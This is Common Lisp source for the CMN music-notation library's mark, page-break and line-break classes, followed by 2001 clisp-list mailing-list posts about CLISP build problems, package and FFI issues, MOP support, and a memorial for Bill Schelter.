(defmethod print-object ((object score-object-mixin) stream)
  (format stream "#<~A~A~A>" 
	  (class-name (class-of object))
	  (object-address object)
	  (if (odb-onset object) (format nil ": (onset ~A)" (odb-onset object)) "")))

(defmethod copy ((obj score-object-mixin) &optional object)
  (let ((new-obj (if (not object) (make-instance 'score-object)
		   (if (write-protected object) (copy object)
		     object))))
    (setf (draw-func new-obj) (draw-func obj))
    (setf (cmn-width new-obj) (cmn-width obj))
    (if (next-method-p) (call-next-method obj new-obj))
    new-obj))



(defclass sundry-mixin (score-object-mixin thick-mixin)
  ((name :initform nil :initarg :name :reader sundry-name)
   (mark :initform nil :initarg :mark :reader sundry-mark)
   (source :initform nil :initarg :source :reader sundry-source)))

(defclass sundry (sundry-mixin score-object thick)
  ((name :accessor sundry-name)
   (mark :accessor sundry-mark)
   (source :accessor sundry-source)))

(defclass write-protected-sundry (write-protect sundry-mixin) ())

(defmethod sundry-p ((obj t)) nil)
(defmethod sundry-p ((obj sundry-mixin)) t)
(defun make-sundry (&key name mark source) (make-instance 'sundry :name name :mark mark :source source))  ;backwards compatibility

(defmethod display ((sundry sundry-mixin) note score &optional justifying)
  (when (or (not justifying)
	    (not (eq (visible-justification sundry) :none)))
    (funcall (sundry-mark sundry) sundry note score justifying)
    (if (marks sundry) (display-marks sundry score justifying))))

(defmethod descry ((sundry sundry-mixin) &optional stream controller)
  (format stream "~A~A~A"
	  (if (tag-p sundry) "" (format stream "(~(~A~)"(sundry-name sundry)))
	  (if (next-method-p) (call-next-method sundry stream (or controller sundry)) "")
	  (if (tag-p sundry) "" ")")))

(defmethod identify ((sundry sundry-mixin))
  (or (sundry-source sundry)
      (and (sundry-name sundry)
	   (not (member (sundry-name sundry) 
			'(:slur :set-up-slur :beat :beat-subdivision :staff-name :beam-between-staves :stem-tie)))
	   (format nil "(~(~A~))" (sundry-name sundry)))
      ""))

(defmethod copy ((sundry sundry-mixin) &optional object)
  (let ((new-sundry (if (not object) (make-instance 'sundry)
		      (if (write-protected object) (copy object)
			object))))
    (setf (sundry-name new-sundry) (sundry-name sundry))
    (setf (sundry-mark new-sundry) (sundry-mark sundry))
    (setf (sundry-source new-sundry) (sundry-source sundry))
    (if (next-method-p) (call-next-method sundry new-sundry))
    new-sundry))


(defgeneric backpatch (mark) )
(defgeneric backpatch-time (mark obj) )
(defgeneric backpatch-start (mark) )

(defmethod backpatch (anything) (declare (ignore anything)) nil)
(defmethod backpatch ((sundry sundry-mixin)) nil)
(defmethod backpatch-time ((sundry sundry-mixin) obj) (declare (ignore obj)) nil)
(defmethod backpatch-start (anything) (declare (ignore anything)) nil)


(defun direction-from-note (mark our-note) 
  (if (member (visible-justification mark) '(:up :above :down :below))
      (if (member (visible-justification mark) '(:up :above)) :up :down)
    (if (stem-is-up? our-note) :down :up)))

(defun cmn-mark (obj &rest objects)
  (let ((new-mark (copy obj)))
    (loop for act in objects do
      (when act
	(if (self-acting-p act)
	    (funcall (action act) new-mark (argument act))
	  (if (visible-p act)
	      (if (write-protected act)
		  (push (copy act) (marks new-mark))
		(push act (marks new-mark)))))))
    new-mark))

(defun mark (func name &rest objects)
  (let ((new-mark (make-instance 'sundry :name name :mark func)))
    (loop for act in objects do
      (when act
	(if (self-acting-p act)
	    (funcall (action act) new-mark (argument act))
	  (if (visible-p act)
	      (if (write-protected act)
		  (push (copy act) (marks new-mark))
		(push act (marks new-mark)))))))
    new-mark))


(defmethod notify ((sundry sundry-mixin) &optional objects)
  (let ((new-mark (copy sundry)))
    (loop for act in objects do
      (when act
	(if (self-acting-p act)
	    (funcall (action act) new-mark (argument act))
	  (if (visible-p act)
	      (push act (marks new-mark))))))
    new-mark))



;;; 
;;; ----------------    line and page marks
;;;
;;; I originally used the slot names "space" and "type", but both are apparently illegal in cltl2!!

(defclass page-mixin (odb-mixin box-mixin staff-relative-mixin) 
  ((page-space :reader page-space :initarg :space :initform nil)))

(defclass write-protected-page (write-protect page-mixin) ())

(defclass page (page-mixin odb box)
  ((page-space :accessor page-space)))

(defun page-mark () (make-instance 'page))
(defvar page-mark (make-instance 'write-protected-page))

(defmethod page-p ((obj t)) nil)
(defmethod page-p ((obj page-mixin)) t)

(defmethod copy ((page page-mixin) &optional object)
  (let ((new-page (if (not object) (make-instance 'page)
		    (if (write-protected object) (copy object)
		      object))))
    (setf (page-space new-page) (page-space page))
    (if (next-method-p) (call-next-method page new-page))
    new-page))

(defmethod descry ((page page-mixin) &optional stream controller)
  (format stream "(page-mark~A~A)" 
	  (if (page-space page) (format nil " :space ~1,3F" (page-space page)) "")
	  (if (next-method-p) (call-next-method page stream (or controller page)) "")))

(defmethod notify ((page page-mixin) &optional objects)
  (declare (ignore objects))
  (if (write-protected page) 
      (make-instance 'page) 
    page))

(defmethod identify ((page page-mixin))
  "(page-mark)")



(defclass line-mixin (odb-mixin visible-mixin box-mixin staff-relative-mixin)
  ((line-space :reader line-space :initarg :space :initform nil)
   (size :reader size :initarg :size :initform nil)
   (line-type :reader line-type :initarg :type :initform nil)
   (line-staff :reader line-staff :initarg :line-staff :initform 0)))

(defclass write-protected-line (write-protect line-mixin) ())

(defclass line (line-mixin odb visible box)
  ((line-space :accessor line-space)
   (size :accessor size)
   (line-type :accessor line-type)
   (line-staff :accessor line-staff)))

(defun line-mark (&rest args) 
  (let ((new-line (make-instance 'line)))
    (loop for arg in args do
      (if (self-acting-p arg)
	  (funcall (action arg) new-line (argument arg))))
    new-line))

(defvar line-mark (make-instance 'write-protected-line))

(defmethod line-p ((obj t)) nil)
(defmethod line-p ((obj line-mixin)) t)

(defmethod copy ((line line-mixin) &optional object)
  (let ((new-line (if (not object) (make-instance 'line)
		    (if (write-protected object) (copy object)
		      object))))
    (setf (size new-line) (size line))
    (setf (line-space new-line) (line-space line))
    (setf (line-type new-line) (line-type line))
    (setf (line-staff new-line) (line-staff line))
    (if (next-method-p) (call-next-method line new-line))
    new-line))

(defmethod descry ((line line-mixin) &optional stream controller)
  (format stream "(line-mark~A~A~A~A~A~A~A)"
	  (if (listp (vis-dx line)) (format nil " :dx ~A" (dx line)) "")
	  (if (or (listp (vis-dy line)) (not (zerop (vis-dy line)))) (format nil " :dy ~A" (vis-dy line)) "")
	  (if (size line) (format nil " :size ~1,3F" (size line)) "")
	  (if (line-space line) (format nil " :space ~1,3F" (line-space line)) "")
	  (if (line-type line) (format nil " :type :~(~A~)" (line-type line)) "")
	  (if (line-staff line) (format nil " :staff-number ~D" (line-staff line)) "")
	  (if (next-method-p) (call-next-method line stream (or controller line)) "")))

(defmethod notify ((line line-mixin) &optional objects)
  (declare (ignore objects))
  (if (write-protected line) 
      (make-instance 'line) 
    line))

(defmethod identify ((line line-mixin))
  "(line-mark)")			;not actually called (line-marks are implicit in staff data structure)

;;; if (dy num) => set dy to (line-number :dy '((staff-number num))) else (dy (staff-number num)) => same listified
;;; else (dy '((staff num) (staff num))).
;;; (dx '((beat num) ...))


(defun line-break (&rest args) (apply #'line-mark args))
(defvar line-break (make-instance 'write-protected-line))
(defun page-break () (make-instance 'page))
(defvar page-break (make-instance 'write-protected-page))

;;; (cmn treble c4 q c4 q c4 q (line-break (dy -1)) c4 q c4 q c4 q (line-mark (dy -2)) c4 q c4 q c4 q)


;;;
;;; ----------------    section
;;;
;;; a section is a group of systems (staves) with auxiliary local score actions

(defclass section () ((data :accessor data :initform nil :initarg :data)))
(defmethod section-p ((obj t)) nil)
(defmethod section-p ((obj section)) t)

(defun section (&rest args)
  (make-instance 'section :data args))


#|
(cmn (section (redundant-accidentals nil) (staff treble (meter 4 4) cs4 q cs4 q cs4 q cs4 q)) 
     (section (staff treble cs4 q cs4 q cs4 q cs4 q)) )
|#


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Bernard Urban writes:

>  > > $ rm -rf build
>  > > > $ ./configure --build build
>  > > > $ cd build
>  > > > $ ./.clisp -q -norc -L french -x '(/ 0)'
>  > 
>  > this does work for me with the current development sources.
>  > could you please try the CVS version?
>
>  I just gave it a try: same problem.

For me it works, since the 2001-08-05 patch to spvw_language.d. But
the code assumes that you have a fr_FR locale installed in
/usr/lib/locale/. Which is the case for me, but perhaps not for you?

> I spotted the problem to be in gettext/intl/dcigettext.c in 
> #define HAVE_LOCALE_NULL. It appears that setlocale (.., NULL) does
> not work as assumed in the case of glibc2, and always returns the C
> locale instead of the fr locale defined in spvw_language.d.

glibc doesn't have an "fr" locale any more, it only has "fr_FR".

The HAVE_LOCALE_NULL setting is correct; it only means whether the
return value of setlocale is in a reasonable format.

Bruno


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> * In message <200109101042.FAA28340@newton.pconline.com>
> * On the subject of "[clisp-list] clisp-2.27 fails to load compiled cmn-objects.lisp"
> * Sent on Mon, 10 Sep 2001 05:42:24 -0500
> * Honorable John Towler <jtowler@pconline.com> writes:
>
> 	I am running CLISP on an i386-unknown-netbsdelf1.5.1 (Toshiba
> 460 CDT).  I ran into problems compiling/loading cmn
> (ftp://ftp-ccrma.stanford.edu/pub/Lisp/cmn.tar.gz, my current copy is
> dated Aug 27, 2001 ) with CLISP-2.27.
> The form that is a problem seems to be:
> 
> 2. Break CMN[16]> ;;; Evaluate (defclass box-mixin ()
>   ((x0 :initarg :x0 :initform 0 :reader x0 :reader box-x0 :type number)
>    (y0 :initarg :y0 :initform 0 :reader y0 :reader box-y0 :type number)
>    (x1 :initarg :x1 :initform 0 :reader x1 :reader box-x1 :type number)
>    (y1 :initarg :y1 :initform 0 :reader y1 :reader box-y1 :type number)))
> *** - Y0 does not name a generic function
> 3. Break CMN[17]> 

-----------------------------------------
> (describe 'y0)
 
y0 is the symbol y0, lies in #<package posix>, is accessible in the packages COMMON-LISP-USER, EXT, FFI, POSIX, SCREEN, SYSTEM, names a function.
 
 #<package posix> is the package named POSIX.
 It imports the external symbols of the package COMMON-LISP and exports 80 symbols to the package EXT.
 
 #<system-function y0> is a built-in system function.
 Argument list: (arg0)
-----------------------------------------

y0 is the Bessel function.
as such, it is not a generic function, so it cannot be used as :reader.

the package system is your friend; just
        (shadow '(y0 y1))
and you are in good shape.

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Alexander Klein wrote:

> 1. 'Checking for working mmap' blew up the machine with a kernel
> panic, the workaround was to set an environment variable indicating
> that mmap doesn't work.

I thought Douglas Crosher had fixed the NetBSD mmap (around NetBSD
0.9, ca. 1993), so he could run clisp. Has it been broken again?!

Sam:
> this should be reported to the autoconf maintainers (I think)

No, the mmap autoconf macro that clisp uses doesn't come from the
autoconf maintainers. It comes from me, and it tests realistically
the way clisp will use mmap if it finds it.

Alexander Klein:
> 2. Later on, the configure script called a program 'minitests' that seemed
> to run fine ... but then died with a segfault.

The configuration should continue after that. If it doesn't, you still
have that broken BSD /bin/sh. Set the environment variable
CONFIG_SHELL to /bin/bash (and export it) before re-running the clisp
configuration in a freshly unpacked directory.

Bruno


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> * In message <20010731075510.D23958@rootless>
> * On the subject of "[clisp-list] build problem on OpenBSD (was Re: bootstrapping with CLISP)"
> * Sent on Tue, 31 Jul 2001 07:55:10 -0500
> * Honorable William Harold Newman <william.newman@airmail.net> writes:
>
> > > $ ./configure
> > > ../configure[276]: test: /usr/local/src/clisp: unexpected operator/operand

I suspect a broken shell.
please install /bin/bash and do
$ CONFIG_SHELL=/bin/bash; export CONFIG_SHELL
$ bash ./configure

thanks!

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Date: Mon Sep 10 10:46:03 2001
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> I am running CLISP on an i386-unknown-netbsdelf1.5.1 (Toshiba
> 460 CDT).  I ran into problems compiling/loading cmn
> (ftp://ftp-ccrma.stanford.edu/pub/Lisp/cmn.tar.gz, my current copy is
> dated Aug 27, 2001 ) with CLISP-2.27.
> The form that is a problem seems to be:
>
> 2. Break CMN[16]> ;;; Evaluate (defclass box-mixin ()
> ((x0 :initarg :x0 :initform 0 :reader x0 :reader box-x0 :type number)
> (y0 :initarg :y0 :initform 0 :reader y0 :reader box-y0 :type number)
> (x1 :initarg :x1 :initform 0 :reader x1 :reader box-x1 :type number)
> (y1 :initarg :y1 :initform 0 :reader y1 :reader box-y1 :type number)))
> *** - Y0 does not name a generic function
> 3. Break CMN[17]>

One datapoint...
CLISP-2.27 under linux (redhat 7 plus patches) can compile and
load today's cmn.tar.gz (same date as yours) with no problems.
I get some warnings but no errors. This is loading
cmn-all.lisp under a freshly compiled clisp image.

-- Fernando


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Hi,

At 15:38 Uhr +0200 10.09.2001, Bruno Haible wrote:

>I thought Douglas Crosher had fixed the NetBSD mmap (around NetBSD
>0.9, ca. 1993), so he could run clisp. Has it been broken again?!

I don't know. I've heard more complaints about mmap.

Could the crash be due to the machine being low on physical memory (20MB
real, 80MB total)?

I got the following limits in csh:

datasize 32MB
stacksize 2MB
memoryuse 15168kB

Increasing them did, however, not help. Additionaly, I tried it with
my_size set to 4096, and my_limit(?) reduced to 32 and then 16, but that
wouldn't work, either.

Oddly enough, when 'executing src/gettext/configure', this runs its own
'checking for working mmap' which runs fine giving 'yes' as the result.

>> 2. Later on, the configure script called a program 'minitests' that seemed
>> to run fine ... but then died with a segfault.
>Set the environment variable
>CONFIG_SHELL to /bin/bash (and export it) before re-running the clisp
>configuration in a freshly unpacked directory.

I tried that, too, compiled bash-2.05, and the thing still dies with a
segfault and error code 139.

I wish I had better news. :(

Thank you still.

	Alex




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On Mon, Sep 10, 2001 at 10:43:03AM -0400, Sam Steingold wrote:
> > * In message <20010731075510.D23958@rootless>
> > * On the subject of "[clisp-list] build problem on OpenBSD (was Re: bootstrapping with CLISP)"
> > * Sent on Tue, 31 Jul 2001 07:55:10 -0500
> > * Honorable William Harold Newman <william.newman@airmail.net> writes:
> >
> > > > $ ./configure
> > > > ../configure[276]: test: /usr/local/src/clisp: unexpected operator/operand
> 
> I suspect a broken shell.
> please install /bin/bash and do
> $ CONFIG_SHELL=/bin/bash; export CONFIG_SHELL
> $ bash ./configure
> 
> thanks!

I tried that, and it didn't work. (See below.)

I'm still very interested in getting the system to boot under CLISP,
but for at least the next week I'll be busy getting sbcl-0.7.0 ready,
and booting under CLISP isn't a must-have feature for that. (I'm trying
to put all the breaks-backwards-compatibility and might-introduce-bugs
and might-break-patches stuff in this release; 0.7.1 and so forth are
fine for incremental changes like booting under CLISP.)

I'm also waiting to hear from someone else who posted on sbcl-devel
last month (?) about work on booting SBCL under CLISP, but hasn't sent
in his patches yet.

So in a while I'll be more motivated to figure out what's going on, 
but for now I'm going to work on other things unless someone just
hands me a no-muss, no-fuss working solution.

balefire:clisp/ $ type bash
bash is /usr/local/bin/bash
balefire:clisp/ $ export CONFIG_SHELL=/usr/local/bin/bash
balefire:clisp/ $ bash ./configure 
./configure: test: too many arguments
./configure: test: too many arguments
./configure: [: /usr/local/src/clisp/src: binary operator expected
./configure: [: /usr/local/src/clisp/src: binary operator expected
./configure: [: /usr/local/src/clisp/src: binary operator expected
./configure: [: /usr/local/src/clisp/src: binary operator expected
/usr/local/src/clisp/src
rm: /usr/local/src/clisp/src: is a directory
./configure: [: /usr/local/src/clisp/src: binary operator expected
/usr/local/src/clisp/src
rm: /usr/local/src/clisp/src: is a directory
./configure: [: /usr/local/src/clisp/src: binary operator expected
/usr/local/src/clisp/src
rm: /usr/local/src/clisp/src: is a directory
./configure: [: /usr/local/src/clisp/src: binary operator expected
/usr/local/src/clisp/src
rm: /usr/local/src/clisp/src: is a directory
./configure: [: /usr/local/src/clisp/src: binary operator expected
/usr/local/src/clisp/src
rm: /usr/local/src/clisp/src: is a directory
./configure: [: /usr/local/src/clisp/src: binary operator expected
/usr/local/src/clisp/src
rm: /usr/local/src/clisp/src: is a directory
./configure: [: /usr/local/src/clisp/src: binary operator expected
/usr/local/src/clisp/src
rm: /usr/local/src/clisp/src: is a directory
./configure: [: /usr/local/src/clisp/src: binary operator expected
/usr/local/src/clisp/src
rm: /usr/local/src/clisp/src: is a directory
./configure: [: /usr/local/src/clisp/src: binary operator expected
/usr/local/src/clisp/src
rm: /usr/local/src/clisp/src: is a directory
^C
balefire:clisp/ $ 

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Hi all!

The FFI examples given in the CLISP implementation notes, Extension-2.3,
will not compile.  One of the problems seems to be (?) that the
compiler does not treat "use-package" properly.  So, for instance,
to take a shortened version of the file sort2.lisp given in the
call-in examples:

  (use-package "FFI")
  (def-call-in lispsort_begin (:arguments (n int))
                              (:return-type nil)
                              (:language :stdc)) 

  $ clisp -c sort2.lisp

   Compiling file /home/william/lisp/clisp-ffi/sort/ssort.lisp ...
   WARNING in function #:TOP-LEVEL-FORM-2 in lines 2..4 :
   LISPSORT_BEGIN is neither declared nor bound,
   it will be treated as if it were declared SPECIAL.
   WARNING in function #:TOP-LEVEL-FORM-2 in lines 2..4 :
   INT is neither declared nor bound,
   it will be treated as if it were declared SPECIAL.
   
   Compilation of file /home/william/lisp/clisp-ffi/sort/ssort.lisp is
   finished.
   The following functions were used but not defined:
    DEF-CALL-IN :ARGUMENTS N :RETURN-TYPE :LANGUAGE
   The following special variables were not defined:
    LISPSORT_BEGIN INT

and sort2.c is not produced.  If we change this to:

  (defpackage "SORT2"
     (:use "FFI" "LISP"))
  (in-package "SORT2")
  (def-call-in lispsort_begin (:arguments (n int))
                              (:return-type nil)
                              (:language :stdc)) 

it compiles fine (there are other problems later on, but one thing at
a time...).  Similarly, we can do:

   (ffi:def-call-in lispsort_begin (:arguments (n ffi:int))
                                   (:return-type nil)
                                   (:language :stdc))

Is this a bug in clisp, or in the implementation notes?  Or am I just
confused?

William


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Hello,

I am trying to install Clisp at a specific location by using the
command:
make install_root=xxx install
but it seems this option is not accepted or recognized anymore (It
worked with 2.25).
Did I miss something or is it a bug?

                Daniel



As can be seen below, Clisp is not installed on
/var/tmp/clisp-2001.07.17-root but on /usr directly


Executing(%install): /bin/sh -e /var/tmp/rpm-tmp.72073
+ umask 022
+ cd /usr/src/redhat/BUILD
+ cd clisp-2001-07-17
+ rm -rf /var/tmp/clisp-2001.07.17-root
+ mkdir /var/tmp/clisp-2001.07.17-root
+ cd src
+ make install_root=/var/tmp/clisp-2001.07.17-root install
if [ ! -d /usr ] ; then mkdir /usr ; fi
if [ ! -d /usr ] ; then mkdir /usr ; fi
if [ ! -d /usr/lib ] ; then mkdir /usr/lib ; fi
if [ ! -d /usr/lib/clisp ] ; then mkdir /usr/lib/clisp ; fi
if [ ! -d /usr/lib/clisp/data ] ; then mkdir /usr/lib/clisp/data ; fi
/usr/bin/install -c -m 644 data/UnicodeData.txt
/usr/lib/clisp/data/UnicodeData.txt
/usr/bin/install -c -m 644 data/clhs.txt /usr/lib/clisp/data/clhs.txt
if [ ! -d /usr/lib/clisp/linkkit ] ; then mkdir /usr/lib/clisp/linkkit ;
fi
(cd /usr/lib/clisp && rm -rf base full)
mkdir /usr/lib/clisp/base
mkdir /usr/lib/clisp/full
for f in clisp-link linkkit/modules.d linkkit/modules.c linkkit/clisp.h
base/* full/*; do \
  case $f in \
    */lisp.run) /usr/bin/install -c $f /usr/lib/clisp/$f;; \
    *) /usr/bin/install -c -m 644 $f /usr/lib/clisp/$f;; \
  esac; \
done
if [ ! -d /usr/bin ] ; then mkdir /usr/bin ; fi
gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -x none
-DLISPLIBDIR='"/usr/lib/clisp"' -DLOCALEDIR='""' clisp.c -o
/usr/bin/clisp
if [ ! -d /usr ] ; then mkdir /usr ; fi
if [ ! -d /usr ] ; then mkdir /usr ; fi
if [ ! -d /usr/man ] ; then mkdir /usr/man ; fi
if [ ! -d /usr/man/man1 ] ; then mkdir /usr/man/man1 ; fi
/usr/bin/install -c -m 644 clisp.1 /usr/man/man1/clisp.1
if [ ! -d /usr/man/man3 ] ; then mkdir /usr/man/man3 ; fi
/usr/bin/install -c -m 644 clreadline.3 /usr/man/man3/clreadline.3
if [ ! -d /usr ] ; then mkdir /usr ; fi
if [ ! -d /usr ] ; then mkdir /usr ; fi
if [ ! -d /usr/doc ] ; then mkdir /usr/doc ; fi
if [ ! -d /usr/doc/clisp-2.27 ] ; then mkdir /usr/doc/clisp-2.27 ; fi
/usr/bin/install -c -m 644 ANNOUNCE COPYRIGHT GNU-GPL SUMMARY NEWS
README README.de README.es MAGIC.add /usr/doc/clisp-2.27/
if [ ! -d /usr/doc/clisp-2.27/doc ] ; then mkdir /usr/doc/clisp-2.27/doc
; fi
/usr/bin/install -c -m 644 clisp.1 clisp.html LISP-tutorial.txt
CLOS-guide.txt editors.txt impnotes.html clisp.gif clreadline.3
clreadline.html clreadline.dvi readline.dvi clisp.dvi
/usr/doc/clisp-2.27/doc/
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Hi!

I am building an RPM of Clisp 2.27 for RedHat 7.1
I use the following commands:

./configure --prefix=%{_prefix} --fsstnd=redhat 
cd src
./makemake  --prefix=%{_prefix} --fsstnd=redhat --with-readline
--with-nogettext --with-dynamic-ffi > Makefile

Redhat put the man pages and the doc files under
/usr/share/doc
/usr/share/man

However, at the end of the installation of the procedure, I get the doc
and man pages under
/usr/doc
/usr/man


How can this be solved? Why the --fsstnd=redhat option is not correctly
taken into account?


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Hello!

On Mon, Sep 10, 2001 at 03:41:18PM -0500, William Harold Newman wrote:
>[...]

>balefire:clisp/ $ type bash
>bash is /usr/local/bin/bash
>balefire:clisp/ $ export CONFIG_SHELL=/usr/local/bin/bash
>balefire:clisp/ $ bash ./configure 
>./configure: test: too many arguments
>[... many more errors ...]

Did you try using the clisp from the ports (or if that version is too
old, adapting the port / following the steps of the port)?
/usr/ports/lang/clisp, that is.

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> * In message <20010911171324.A3319@kako.domus.net>
> * On the subject of "[clisp-list] Compiler not obeying use-package?"
> * Sent on Tue, 11 Sep 2001 17:13:24 +1000
> * Honorable William Webber <wew@ozemail.com.au> writes:
>
> The FFI examples given in the CLISP implementation notes,
> Extension-2.3, will not compile.  One of the problems seems to be (?)
> that the compiler does not treat "use-package" properly.  So, for
> instance, to take a shortened version of the file sort2.lisp given in
> the call-in examples:
> 
>   (use-package "FFI")

make it (eval-when (load compile eval) (use-package "FFI"))
or set custom::*package-tasks-treat-specially* to T

> Is this a bug in clisp, or in the implementation notes?  

the latter - thanks for reporting it.

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> * In message <3B9DEC89.58E68EAB@foi.se>
> * On the subject of "[clisp-list] Fsstnd=redhat?"
> * Sent on Tue, 11 Sep 2001 12:50:49 +0200
> * Honorable Daniel Tourde <ted@foi.se> writes:
>
> Redhat put the man pages and the doc files under
> /usr/share/doc
> /usr/share/man
> 
> However, at the end of the installation of the procedure, I get the doc
> and man pages under
> /usr/doc
> /usr/man

every distribution was moving in the direction of "share" for all
arch-independent stuff, some faster, some slower.
we will now use share for all distributions.

> How can this be solved?

I fixed this in the CVS - you can edit the Makefile manually (docdir var)

thanks for reporting this.

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> * In message <3B9DC82D.1DC9CA18@foi.se>
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> * Sent on Tue, 11 Sep 2001 10:15:41 +0200
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> I am trying to install Clisp at a specific location by using the
> command:
> make install_root=xxx install
> but it seems this option is not accepted or recognized anymore (It
> worked with 2.25).
> Did I miss something or is it a bug?

I think you should use "prefix" instead of "install_root", at least i
have never heard of "install_root".

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Hi!


> > I am trying to install Clisp at a specific location by using the
> > command:
> > make install_root=xxx install
> > but it seems this option is not accepted or recognized anymore (It
> > worked with 2.25).
> > Did I miss something or is it a bug?
> 
> I think you should use "prefix" instead of "install_root", at least i
> have never heard of "install_root".

If you compare the two files makemake (from 2.25 and 2.27) you will see
that install_root has been replaced by DESTDIR

Once I used make DESTDIR=xxx install it worked for me.

Thanks anyway for your answer

			Daniel

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Greetings. The following code works fine in ACL, LispWorks and CMUCL, but
not CLISP 2.27:

(in-package "CL-USER")

(defclass rocky ()
  ((name :initarg :name
         :accessor name))
  (:metaclass clos:funcallable-standard-class))

(defmethod initialize-instance :after ((self rocky) &rest args)
  (clos:set-funcallable-instance-function
   self #'(lambda (a b)
            (format t "Name is ~S; A is ~S; B is ~S~%"
                    (name self) a b))))

(defun make-rocky (name)
  (make-instance 'rocky :name name))

(funcall (make-rocky "rocky") "boris" "natasha")

The trouble apparently is that CLISP doesn't support funcall'able instances;
i.e. CLOS:FUNCALL-STANDARD-CLASS and its associated functions.

I plan to use this functionality in an upcoming LISA release; are there
plans for CLISP in this area?

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> * In message <0ad901c13bcf$ec203f90$01bba8c0@tinian>
> * On the subject of "[clisp-list] MOP compatibility issue"
> * Sent on Wed, 12 Sep 2001 16:47:57 -0400
> * Honorable "David E. Young" <youngde@nc.rr.com> writes:
>
> Greetings. The following code works fine in ACL, LispWorks and CMUCL,
> but not CLISP 2.27:
> 
>   (:metaclass clos:funcallable-standard-class))

FUNCALLABLE-STANDARD-CLASS is not in ANSI CL.
it's in MOP.

> I plan to use this functionality in an upcoming LISA release;

as I said, this functionality is not in ANSI CL.

there was a discussion on c.l.l on making MOP a part of ANSI CL.
the consensus (expressed by KMP, IIRC) was that this would constrain
implementations to use a particular implementation venue, which is not
desirable.

I see no reason to use FUNCALLABLE-STANDARD-CLASS.  adding a slot
to your standard classes would accomplish almost as much:

(defclass funcallable () ((defun :accessor fdef :initarg :defun)))
(defgeneric call (obj &rest args)
  (:method ((obj function) &rest args) (apply obj args))
  (:method ((obj symbol) &rest args) (apply (fdefinition obj) args))
  (:method ((obj funcallable) &rest args) (apply (fdef obj) args)))

(defclass foo (funcallable) ())
(call (make-instance 'foo :defun #'car) '(1 . 2)) ==> 1

> are there plans for CLISP in this area?

not now.  patches are welcome.

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----- Original Message ----- 
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> > * In message <0ad901c13bcf$ec203f90$01bba8c0@tinian>
> > * On the subject of "[clisp-list] MOP compatibility issue"
> > * Sent on Wed, 12 Sep 2001 16:47:57 -0400
> > * Honorable "David E. Young" <youngde@nc.rr.com> writes:
> >

> >   (:metaclass clos:funcallable-standard-class))
> 
> FUNCALLABLE-STANDARD-CLASS is not in ANSI CL.
> it's in MOP.

Yes, that's correct. It is indeed part of the MOP.

> there was a discussion on c.l.l on making MOP a part of ANSI CL.
> the consensus (expressed by KMP, IIRC) was that this would constrain
> implementations to use a particular implementation venue, which is not
> desirable.

Thanks for info; perhaps I'll reconsider my approach.

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Dear all,

It is with great sadness and sorrow that I heard about the death of
Bill Schelter. It happened a few weeks ago.
http://ww.telent.net/lisp/free-the-x3j-thirteen/2001.08.html

Many of us know him from GCL. But he also released to the world the
first free computer algebra system, Maxima, and is the author of the
first GCC machine description for i386.

He shared with all of us the fruits of his labour, even though it
meant extra effort for him: On the GCL side, he had to maintain AKCL
as a "set of patches" on top of KCL because the KCL copyright didn't
allow to release the entire source at once. On the Maxima side, he had
to deal with unclear copyright issues between MIT, Symbolics and
others. Releasing free software was not trivial in the 80ies. We are
grateful he did it.

Like anyone in the world, his life had ups and downs. He had a dark
time two years ago, and I'm glad he found love and happiness again
before his death.

You can visit his homepage at http://www.ma.utexas.edu/users/wfs/

Bruno


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Hello everybody,

I received several email from my parenthetical friends asking about
me.  I am fine and have been back online only yesterday, more for
personal reasons than technical, even though none of my immediate
friends was at the WTC.

I thought that letting you all know this was a good thing.

Cheers
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One side consequence of William Schelter's death is that we are
looking for new maintainers for GCL and Maxima.  If anyone wants to
volunteer, please contact me.



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I am trying to obtain CLISP binaries for some of the more recent version of
CLISP.  I understand that the usual FTP site for these:

ftp://clisp.cons.org/pub/lisp/clisp/binaries/
is not currently working.  The Sourceforge site seems to only have source
code, not binaries.  have I missed something at Sourceforge?  Does anyone
know if the old pub/lisp/clisp/binaries/ directory will be available again,
and if so, when?

Thanks much,

Tara

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[I'm a Lisp expert, not a C expert, so forgive any infelicities of
expression in the report below.]

I tried to follow the unix/INSTALL instructions to compile clisp but I had a
couple of serious problems (as well as a few minor ones).  I'm using release
5.1 of Tru64 (nee Dec nee OSF) Unix with the native (non GNU) tools.

The first problem I encountered was that the compiler generated an error for the
extern inline declarations in file lispbibl for input_stream_p and
output_stream-p, with the text of the error message being "There is no definition
for the inline function named ... in this compilation unit."

I noticed that there was already a conditionalized turning off of the inline
declaration in lispbibl, but only if both GNU and UNIXCONF were undefined.
Removing the dependency on UNIXCONF in the source got me past this error by
removing the inline declaration altogether, but I wonder if that is the correct
fix.

The second problem is that the typedef in stdbool.h

  typedef enum { false = 0, true = 1 } _Bool;

gets an error "In this declaraction, "enum" cannot be combined with "_Bool"."
I took out the typedef to get around this problem.

With those two changes, the rest of the build proceeded with only warnings.
However, some of the warnings looked troublesome.  (There were also lots that
looked benign, including lots of complaints about return values for functions
declared void.)  

The troublesome ones all had to do with types (e.g. line, isearch_terimnators,
etc.) reducing to unsigned char not matching char because they differed in the
signed/unsigned attribute.  I have the log file of the build, in case anyone is
interested in looking at it.

Finally, although the build completed and I had a working image,

 make testsuite

confusingly said that tests failed and I should look in .erg files for the errors,
but there were no .erg files!  [Later] I found one in the suite/ subdirectory
(streamslong.erg).  Its contents are:

Form: (LOOP FOR SIZE FROM 2 TO 40 DO (BIN-STREAM-TEST :SIZE SIZE :TYPE 'SIGNED-BYTE))
CORRECT: NIL
CLISP: ERROR

I tried it by hand, and, sure enough, that test fails.

  (with-open-file (o "/tmp/test" :direction :output :element-type'(signed-byte 2))
	(write-byte 1 o)
	(write-byte 0 o)
	(write-byte -1 o)
	(write-byte -2 o))

writes a file which

  (with-open-file (i "/tmp/test" :direction :input :element-type'(signed-byte 2))
	(loop repeat 4 collect (read-byte i)))

returns as

  (1 0 1.7014s38 1.70139s38) !!



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On Mon, Sep 17, 2001 at 07:30:45PM -0400, Sam Steingold wrote:
> please get the current CVS sources and test them.
> unless bugs are reported, this will become 2.28.

Hi,

Building on a GNU/Linux system:

Linux localhost.localdomain 2.4.5 #1 Fri Jun 22 23:12:44 CEST 2001
i586 unknown

With the following configure command (it works with 2.27):

 ./configure TEST-2.28  --with-export-syscalls --with-module=bindings/linuxlibc6 --with-module=wildcard --with-module=regexp --with-module=clx/new-clx --prefix=/usr --with-readline --with-gettext --with-dynamic-ffi

I got the following error:

